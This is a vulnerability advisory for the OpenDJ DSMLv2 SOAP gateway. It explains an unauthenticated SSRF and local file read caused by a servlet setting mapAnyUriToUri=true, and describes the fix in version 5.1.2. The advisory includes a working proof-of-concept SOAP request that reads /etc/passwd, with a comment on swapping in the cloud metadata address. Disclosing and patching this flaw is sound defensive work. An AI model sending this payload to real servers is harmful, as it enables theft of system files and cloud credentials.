critical · 9.4Jul 24, 2026

OpenDJ DSMLv2 Gateway Unauthenticated SSRF and Local File Read

Shubham Kandhare
Security Engagement Manager, SecureLayer7

The DSMLv2 SOAP gateway in OpenDJ unconditionally dereferences any URL a caller supplies in an XML attribute, letting an unauthenticated attacker read local files, hit internal services, or crash the…

Packageorg.openidentityplatform.opendj:opendj-dsml-servlet
Ecosystemmaven
Affected<= 5.1.1
Fixed in5.1.2
OpenDJ DSMLv2 Gateway Unauthenticated SSRF and Local File Read

The problem

The opendj-dsml-servlet component exposes a SOAP/HTTP endpoint that accepts DSMLv2 add and modify requests. By default, no authentication is required to reach it.

The servlet sets the JVM-wide property mapAnyUriToUri=true at startup, which tells the JAXB XML stack to fetch and inline any xsd:anyURI value it encounters during request parsing. An attacker can point that URI at any target: a file:// path for local file read, an internal HTTP address for SSRF against cloud metadata or private services, or an unbounded HTTP response body for memory-exhaustion DoS.

Proof of concept

A working proof-of-concept for this issue in org.openidentityplatform.opendj:opendj-dsml-servlet, with the exact payload below.

http
POST /dsml HTTP/1.1
Host: opendj.internal:8080
Content-Type: text/xml; charset=utf-8
SOAPAction: ""

<?xml version="1.0" encoding="utf-8"?>
<soap-env:Envelope xmlns:soap-env="http://schemas.xmlsoap.org/soap/envelope/">
  <soap-env:Body>
    <batchRequest xmlns="urn:oasis:names:tc:DSML:2:0:core"
                  requestID="1">
      <addRequest dn="uid=pwn,ou=people,dc=example,dc=com">
        <attr name="objectclass">
          <value>inetOrgPerson</value>
        </attr>
        <attr name="cn">
          <!-- SSRF: swap file:///etc/passwd for http://169.254.169.254/latest/meta-data/ -->
          <value xsi:type="xsd:anyURI"
                 xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
                 xmlns:xsd="http://www.w3.org/2001/XMLSchema"
          >file:///etc/passwd</value>
        </attr>
      </addRequest>
    </batchRequest>
  </soap-env:Body>
</soap-env:Envelope>

The direct root cause is in DSMLServlet.init(), which unconditionally executes System.setProperty("mapAnyUriToUri", "true"). This single line turns every xsd:anyURI-typed XML value in the request into a live server-side fetch before the application logic even sees the data (CWE-918, CWE-73).

The patch in commit 131e8576 removes that unconditional property set and moves anyURI dereferencing behind an explicit opt-in servlet parameter, defaulting to disabled. When enabled, it now enforces an http/https-only scheme allowlist, blocks loopback, link-local, private, and reserved IP ranges, refuses HTTP redirects, and caps the number of bytes read (addressing CWE-400).

The gateway also gains a require-authentication flag that defaults to on.

The fix

Upgrade opendj-dsml-servlet to 5.1.2. In that release, anyURI dereferencing is off by default. If you need it, enable it explicitly via the servlet init parameter and review the allowlist configuration. Also enable the new container-managed authentication requirement so the endpoint is not reachable anonymously.

Reported by manus-use.

References: [1][2][3][4]

Related research